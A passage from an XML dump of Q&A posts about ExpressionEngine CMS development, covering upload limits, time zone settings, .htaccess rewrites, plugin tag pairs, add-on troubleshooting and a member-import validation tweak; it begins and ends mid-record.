&lt;code&gt;php.ini&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post_max_size=20M&#xA;upload_max_filesize=20M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or add these to your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value post_max_size 20M&#xA;php_value upload_max_filesize 20M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can check the current values by going to the EE CP Tools &gt; Utilities &gt; PHP Info and searching for the settings. I'd bet that one of them is currently set to 2mb :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-03-07T15:27:32.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostTypeId="1" AcceptedAnswerId="7136" CreationDate="2013-03-07T16:17:03.960" Score="0" ViewCount="181" Body="&lt;p&gt;I have an entry showing a start time of 1:00pm today (current local time is 10:04am CST). The server time using php date is showing the same as our current local time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:channel:entries channel=&quot;general&quot; category=&quot;4|14&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;2&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I change the entry date to tomorrow, it doesn't show up. But when I change it to today's date with a future time, it shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've just taken a look at the template on the Sync Templates page and it says it was last saved at 4:00pm (I just saved it at 10:09am).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php ini file says the timezone is America/Chicago for both Local and Master Value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will check on SSH access. It's on Enginehosting but my set up doc is not accessible at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry was set for 1:00pm when it was created at 10:00am because we didn't want it to show up until the afternoon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Localization settings have not been changed at all (except when we first set the site up last year).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user and I were logged in with the same username/pass.&lt;/p&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="293" LastEditDate="2013-03-07T20:19:02.623" LastActivityDate="2013-03-07T20:19:02.623" Title="Channel tag showing future entries but show_future_entries is not set to yes" Tags="|channel-entries|time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostTypeId="2" ParentId="7135" CreationDate="2013-03-07T16:24:09.060" Score="1" Body="&lt;p&gt;Go to Admin, Localization Settings. Check that Server Time Zone is correct there and that the DST setting is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Within your &lt;code&gt;exp:channel:entries&lt;/code&gt; output, compare &lt;code&gt;{entry_date}&lt;/code&gt; to &lt;code&gt;{current_time}&lt;/code&gt; to see if those match your expectations. See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-time&quot; rel=&quot;nofollow&quot;&gt;Current Time&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ah yeah, there's a clue - the current_time says 4:37pm while entry_date is 1:00pm. So does that sound like the server time is off and I need to add an offset to the Localization Settings?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What sort of server do you have? Do you know where the host is located? Trying to figure out how best to validate:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The server time using php date is showing the same as our current local time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it a server you have SSH access to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you change localization settings after the entry was created? I'm not sure that would trigger an update of the entry's date values. What happens if you edit the entry again? The offset may be stored in the actual entry as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also -- Does the user who created the entry have a different time zone set? I've had that bite me before too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This stuff is a pain in EE.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-07T17:59:26.203" LastActivityDate="2013-03-07T17:59:26.203" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7137" PostTypeId="1" CreationDate="2013-03-07T17:38:00.427" Score="0" ViewCount="57" Body="&lt;p&gt;How do I check a member field for an answer, and if the answer is there display a new filed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a 2 page sign up with Zoo Visitor and the second page asks a question based on your answer in the first page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_field_name == &quot;ANSWER&quot; }&#xA;&amp;lt;div class=&quot;category_select&quot;&amp;gt;&#xA;&amp;lt;category_menu&amp;gt;&#xA;&amp;lt;label for=&quot;categories&quot;&amp;gt;Ask Question?&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;&amp;lt;select_options&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/category_menu&amp;gt;&#xA;&amp;lt;/div&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-03-07T19:19:55.127" Title="Zoo Visitor Edit Profile: if field == problem" Tags="|members|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7138" PostTypeId="1" AcceptedAnswerId="7318" CreationDate="2013-03-07T18:07:48.217" Score="2" ViewCount="107" Body="&lt;p&gt;I have a strange problem. We are using EE2.5.3 and Discussion Forum3.1.9. I also have Forum Subscribe2.3.2 installed. On our forums, if someone enters a new reply to a topic which has several people subscribed, the module will send an email only to the last person who replied to that thread. I have tested by changing the email protocol and uninstalling Forum Subscribe. I am currently using SMTP as the email protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or other ways to troubleshoot would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;After further trouble shooting, it appears that the issue is with the thread subscription mechanism in EE. If a new thread is started, everyone subscribed to that forum with Forum Subscribe receives an email as they should. However, if all of those people then subscribe to the thread in EE, when anyone responds, the response only goes to the last person that responded (if they have left selected the &quot;Notify me via email...&quot; checkbox). Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;   Steve&lt;/p&gt;&#xA;" OwnerUserId="1138" LastEditorUserId="1138" LastEditDate="2013-03-08T16:11:20.007" LastActivityDate="2013-03-13T16:14:56.937" Title="Discussion Module emails only going to last person to comment" Tags="|forum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostTypeId="2" ParentId="7112" CreationDate="2013-03-07T18:34:36.713" Score="1" Body="&lt;p&gt;Are you using .htaccess to either add or remove a trailing slash from your site URLs? If a request gets rerouted in that manner it gets stripped of the POST data, so that might be one possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a site where I was &lt;strong&gt;adding&lt;/strong&gt; a trailing slash (which I do not believe is the default behavior any more), I added a condition to the rewriterule (second line below) in &lt;code&gt;.htaccess&lt;/code&gt; file to NOT redirect a request if it had POST data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_METHOD} !POST&#xA;RewriteCond %{REQUEST_URI} !(.*)/$&#xA;RewriteRule ^(.*)$ /$1/ [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That patched the forums up and I haven't noticed any side effects.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-03-07T18:34:36.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7140" PostTypeId="2" ParentId="7137" CreationDate="2013-03-07T19:19:55.127" Score="1" Body="&lt;p&gt;SOLVED:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{custom_field_name}&quot; == &quot;ANSWER&quot; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-03-07T19:19:55.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostTypeId="1" CreationDate="2013-03-07T21:23:30.260" Score="0" ViewCount="554" Body="&lt;p&gt;I've been trying to get my head around Structure (3.3.8) for EE2 for almost 6 hours and I keep on going around in circles. I must have missed a basic concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the documentation, read the Structure support site and it either refers me back to documentation that is not particularly clear, or to a tutorial / guide for a much older version of Structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to achieve in the Structure CP list something that resembles the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Company Information -&#xA;             --- About&#xA;             --- Legal&#xA;             --- etc ...&#xA;&#xA;Product Group A -&#xA;             Product 1&#xA;             Product 2&#xA;             Product 3 etc&#xA;&#xA;Product Group B -&#xA;             Product 4&#xA;             Product 5&#xA;             Product 6 etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have set up a channel for 'Company Information' which comprises of entries for 'about', 'legal' etc,&#xA;I have also set up channels for Product Group A and Product Group B which have their own specific product entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something is obviously not connecting in my mind as to how Structure is supposed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this without referring back to the official Structure documentation. &lt;/p&gt;&#xA;" OwnerUserId="1117" LastEditorUserId="293" LastEditDate="2013-03-08T14:55:06.887" LastActivityDate="2013-04-09T09:58:03.033" Title="Is there a simple up-to date Structure tutorial?" Tags="|ee2|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7143" PostTypeId="1" AcceptedAnswerId="16899" CreationDate="2013-03-07T23:19:21.527" Score="1" ViewCount="436" Body="&lt;p&gt;Is this possible? I've been searching and  have not been successful in finding any solid answers. I've tried submitting the user registration form with ajax and it just returns the expected html page.  I hope I'm not just missing some parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** edit **&lt;br&gt;&#xA;figured out that you can submit, if successful you will get the expected response. If their are errors you will get undesirable response back. It a normal Expression Engine error page&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="28" LastEditDate="2013-03-08T18:11:59.423" LastActivityDate="2013-12-13T20:18:44.593" Title="Solspace user registration via ajax" Tags="|ajax|solspace-user|solspace|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7144" PostTypeId="2" ParentId="6769" CreationDate="2013-03-08T01:14:27.143" Score="1" Body="&lt;p&gt;4midori -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just logged in and went to Update Indexes.  I got all of the progress bars and all of them updated just fine.  They're now showing up in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is everything working for you now?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-08T01:14:27.143" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7145" PostTypeId="1" AcceptedAnswerId="7147" CreationDate="2013-03-08T04:30:00.307" Score="2" ViewCount="412" Body="&lt;p&gt;I have read ExpressionEngine documents and I am fairly comfortable while creating plugins. However I had a requirement in which I wanted my plugin to output data as a template tags. Like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:awesome_plugin}&#xA;    {awesome}{awesome} {!-- outputs the data set for awesome tag. --}&#xA;    {really}{really}&#xA;{/exp:awesome_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1140" LastActivityDate="2013-03-08T07:16:05.253" Title="Output plugin result as template tag" Tags="|templates|plugin|tags|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7146" PostTypeId="2" ParentId="7145" CreationDate="2013-03-08T06:43:54.410" Score="1" Body="&lt;p&gt;Yes, you can use the Template Class for it. See here how to create paired tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-08T06:43:54.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7147" PostTypeId="2" ParentId="7145" CreationDate="2013-03-08T07:16:05.253" Score="4" Body="&lt;p&gt;Yes this is possible. It took me a while to find some documentation when I first tried to do it within a plugin. You need to look at the docs for the template class instead of the plugin API. Specifically the section for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#pair-variables&quot; rel=&quot;nofollow&quot;&gt;variable pairs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a multidimensional array that contains the different rows for your variable pair. Here's some relevant sections from a plugin I wrote that displays a gallery that's created using matrix, assets and playa. I've simplified it a lot but hopefully you will get the idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first bit of code I've done a database query to get my assets and then looped through the results to create the variable pair array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assets_array = array();&#xA;if ($assets_query-&amp;gt;num_rows() != 0)&#xA;{&#xA;  // loop through assets and create an array indexed with the associated matrix row_id&#xA;  foreach ($assets_query-&amp;gt;result() as $row)&#xA;  { &#xA;    $assets_array[$row-&amp;gt;row_id][] = array('image_url' =&amp;gt; $this-&amp;gt;EE-&amp;gt;typography-&amp;gt;parse_file_paths($row-&amp;gt;file_path),&#xA;                                  'alt_text' =&amp;gt; $row-&amp;gt;alt_text&#xA;                                          );&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I create the single vars for the main tag, I loop through the query result for the matrix rows and create a var that contains the assets array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($matrix_query-&amp;gt;result() as $row)&#xA;{&#xA;    $vars[] = array(&#xA;       'row_id'       =&amp;gt; $row-&amp;gt;row_id,&#xA;       'entry_id'     =&amp;gt; $row-&amp;gt;entry_id,&#xA;       'image'        =&amp;gt; $assets_array[$row-&amp;gt;row_id],&#xA;    );&#xA;}&#xA;&#xA;$this-&amp;gt;return_data =  $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my template I can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:sp_gallery}&#xA;    {image}&amp;lt;img src=&quot;{image_url}&quot; alt=&quot;{alt_text}&quot;{/image}&#xA;{/exp:sp_gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-03-08T07:16:05.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7148" PostTypeId="1" CreationDate="2013-03-08T08:50:41.740" Score="3" ViewCount="125" Body="&lt;p&gt;I'm developing a website using ExpressionEngine 2, which will sit on both a staging and production environment, both with their own database. We will be running a cron job to synchronise the databases and file structure on an daily basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control panel will only be accessible on the staging environment. Here, 3 user groups can follow a workflow I have created using the status groups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1 - &quot;Editor&quot; edits the entry and changes the status to edited, submits. &lt;/li&gt;&#xA;&lt;li&gt;Step 2 - &quot;Approver&quot; checks the content and changes the status to approved, submits. &lt;/li&gt;&#xA;&lt;li&gt;Step 3 - &quot;Publisher&quot; changes the status to published, submits.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The staging environment will show any changes to content at step 1, meaning we can test the front-end of the site as required, when a change has been submitted. Whereas, the production environment is only displaying the changes if the status of all 3 steps have been competed (status=published). This is exactly how we need the environments to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises when we need to edit a page that has previously been published. If an editor is to edit an entry and the other two steps aren't completed in the window before the next synchronise, the content from the page will vanish on production (since status=edited).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We understand that a solution for this could potentially be found by using the 'Entry revisions' (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish.html#revisions-tab&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/publish.html#revisions-tab&lt;/a&gt;). If we were able to grab the last published revision of an entry if status!=published, we could display this on the production environment until the page next reaches a published state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if this is at all possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, can anyone suggest any other potential solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, Chris&lt;/p&gt;&#xA;" OwnerUserId="1143" LastActivityDate="2013-03-15T08:25:38.143" Title="Loading different entry revisions in ExpressionEngine 2 per environment" Tags="|entry|status|staging-server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostTypeId="1" AcceptedAnswerId="7152" CreationDate="2013-03-08T10:23:48.293" Score="1" ViewCount="25" Body="&lt;p&gt;Trying to use the tag pair feature of pt_multiselect (1.0.3 installed on EE 2.5.5) and it doesn't seem to be working correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used as a single tag I get a list of the selected options, however when used as a tag pair so we can tailor the output (and create links) nothing is shown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{regional_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{regional_links}&#xA;    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;{option}&quot;&amp;gt;{option_name}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/regional_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The list of data in the admin is formatted correctly with a a colon delimiting the name and the label and is showing fine in the content add / edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/asia_pacific/index : Asia Pacific About&#xA;/asia_pacific/people : Asia Pacific People&#xA;/asia_pacific/locations : Asia Pacific Locations&#xA;/asia_pacific/history : Asia Pacific History&#xA;/asia_pacific/showcases : Asia Pacific Showcases&#xA;/asia_pacific/expertise : Asia Pacific Expertise&#xA;/asia_pacific/partners : Asia Pacific Partners&#xA;/asia_pacific/contact : Asia Pacific Contact&#xA;/northern_europe/index : Northern Europe About&#xA;/northern_europe/people : Northern Europe People&#xA;/northern_europe/locations : Northern Europe Locations&#xA;/northern_europe/history : Northern Europe History&#xA;/northern_europe/showcases : Northern Europe Showcases&#xA;/northern_europe/expertise : Northern Europe Expertise&#xA;/northern_europe/partners : Northern Europe Partners&#xA;/northern_europe/contact : Northern Europe Contact&#xA;/southern_europe/index : Southern Europe About&#xA;/southern_europe/people : Southern Europe People&#xA;/southern_europe/locations : Southern Europe Locations&#xA;/southern_europe/history : Southern Europe History&#xA;/southern_europe/showcases : Southern Europe Showcases&#xA;/southern_europe/expertise : Southern Europe Expertise&#xA;/southern_europe/partners : Southern Europe Partners&#xA;/southern_europe/contact : Southern Europe Contact&#xA;/north_america/index : North America About&#xA;/north_america/people : North America People&#xA;/north_america/locations : North America Locations&#xA;/north_america/history : North America History&#xA;/north_america/showcases : North America Showcases&#xA;/north_america/expertise : North America Expertise&#xA;/north_america/partners : North America Partners&#xA;/north_america/contact : North America Contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this is an oldish plugin but it is somewhat useful and would be great to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a more simple list of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;One&#xA;Two&#xA;Three&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which again works as a single tag to output a list of the selected items, but doesn't work in a tag pair loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions on this are much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-03-08T11:38:04.617" Title="Problems with tag pair in pt_multiselect" Tags="|add-on|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7151" PostTypeId="1" AcceptedAnswerId="7170" CreationDate="2013-03-08T11:35:48.957" Score="1" ViewCount="1641" Body="&lt;p&gt;I need to create a news/blog section only accessible to logged in members.&#xA;I know I can restrict templates to members and use {if logged_in} to restrict displaying fields etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for advice on how best to approach restricting access to images shown and file links included within the blog, so that the URLs to these do not let general site visitors / search engines etc access the files and images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the blog admin could write blog posts in a wyswiyg (wygwam) field including images and file links there. If that's not possible, extra fields for images and file links could be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figure this is a common enough requirement, so I would really appreciate some guidance on how best to approach this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-03-10T07:23:12.903" Title="Restricting images and file links to members only" Tags="|members|login|image|restricted-area|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7152" PostTypeId="2" ParentId="7149" CreationDate="2013-03-08T11:38:04.617" Score="0" Body="&lt;p&gt;Try grabbing the latest version of &lt;a href=&quot;https://github.com/pixelandtonic/pt_field_pack/tree/master/ee2/third_party&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Fieldpack from github&lt;/a&gt;. It's now up to version 1.1. I just tried it with your values and it's working fine with the tag pair. If that doesn't work please post more of your template. &lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-03-08T11:38:04.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7153" PostTypeId="1" CreationDate="2013-03-08T12:16:13.637" Score="2" ViewCount="329" Body="&lt;p&gt;Since Wygwam 2.3.1 it's supposed to have &quot;Set the forcePasteAsPlainText CKEditor config setting to 'Yes' by default&quot; (pasted from &lt;a href=&quot;http://pixelandtonic.com/wygwam/releasenotes&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;). But I'm still getting a lot of junk code (inline styles, Word markup, the whole shebang).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this happening for other people as well? I've even tried adding it manually as a config setting, but that didn't make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, as this is making my client's life miserable.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:38.470" LastActivityDate="2013-12-30T13:05:38.470" Title="Wygwam not stripping markup" Tags="|wygwam|strip-html|markup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7154" PostTypeId="1" CreationDate="2013-03-08T13:16:47.147" Score="4" ViewCount="582" Body="&lt;p&gt;I'm importing new members using the Member Import Utility, but get errors for duplicate screen_name. These members won't be posting so screen name is not used and email is username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a condition in Validate.php and EE_Form_validation.php to stop the validation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (1 == 2 &amp;amp;&amp;amp; strtolower($this-&amp;gt;cur_screen_name) != strtolower($this-&amp;gt;screen_name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this works okay when a single member registers via front end form, but not when importing XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I then hacked tools_utilities.php, commenting out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                            /*&#xA;                        case 'screen_name':&#xA;                            $this-&amp;gt;validate-&amp;gt;screen_name = $tag-&amp;gt;value;&#xA;                            if ( ! in_array($tag-&amp;gt;value, $s))&#xA;                            {&#xA;                                $s[] = $tag-&amp;gt;value;&#xA;                            }&#xA;                            else&#xA;                            {&#xA;                                $this-&amp;gt;errors[] = array(lang('duplicate_screen_name').$tag-&amp;gt;value);&#xA;                            }&#xA;                            break;&#xA;                            */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to work, but has anyone had other issues with this? it would be good to know before I import 10K members.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-10-28T17:09:27.453" Title="Allow Duplicate Screen Name" Tags="|members|import|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7155" PostTypeId="1" CreationDate="2013-03-08T14:14:46.673" Score="3" ViewCount="224" Body="&lt;p&gt;I'm working on a module that's outputting data using &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('table')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm passing this back to my &lt;code&gt;index()&lt;/code&gt; function to render things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array(&#xA;    'rows' =&amp;gt; $rows,&#xA;    'pagination' =&amp;gt; array(&#xA;        'page_query_string' =&amp;gt; TRUE,&#xA;        'base_url'    =&amp;gt; $this-&amp;gt;_full_url(), // My own function&#xA;        'per_page'   =&amp;gt; 20,&#xA;        'total_rows' =&amp;gt; $total_rows&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all working wonderfully. In fact, my pagination links are working wonderfully as well. They're generating URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://addons.clearbold.localhost:8888/system/index.php?S=a87b760ae58c317d28e7d1ebf3c8f374e89173a5&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=module_name&amp;amp;tbl_offset=20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I do a View Source and click the links enabled in the source view, they take me to exactly the page I want to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the CP screen, though... I can hover over the links and see the right URLs in the status bar. My cursor switches to the hover state to show they're clickable. But when I click them – Nothing happens. The browser doesn't follow the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why aren't they clickable? I've tried recent Chrome, Safari &amp;amp; Firefox versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full pagination output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/table&amp;gt;&amp;lt;p class=&quot;tbl_513a025265a0f&quot; id=&quot;paginationLinks&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;a href=&quot;http://addons.clearbold.localhost:8888/system/index.php?S=b8223938e000fecfb1e3065326d799591cd9bda9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=module_name&amp;amp;amp;tbl_offset=&quot;&amp;gt;&amp;lt;img src=&quot;http://addons.clearbold.localhost:8888/themes/cp_themes/default/images/pagination_prev_button.gif&quot; width=&quot;13&quot; height=&quot;13&quot; alt=&quot;&amp;amp;lt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=&quot;http://addons.clearbold.localhost:8888/system/index.php?S=b8223938e000fecfb1e3065326d799591cd9bda9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=module_name&amp;amp;amp;tbl_offset=&quot;&amp;gt;1&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;strong&amp;gt;2&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;lt;a href=&quot;http://addons.clearbold.localhost:8888/system/index.php?S=b8223938e000fecfb1e3065326d799591cd9bda9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=module_name&amp;amp;amp;tbl_offset=40&quot;&amp;gt;3&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href=&quot;http://addons.clearbold.localhost:8888/system/index.php?S=b8223938e000fecfb1e3065326d799591cd9bda9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=module_name&amp;amp;amp;tbl_offset=40&quot;&amp;gt;&amp;lt;img 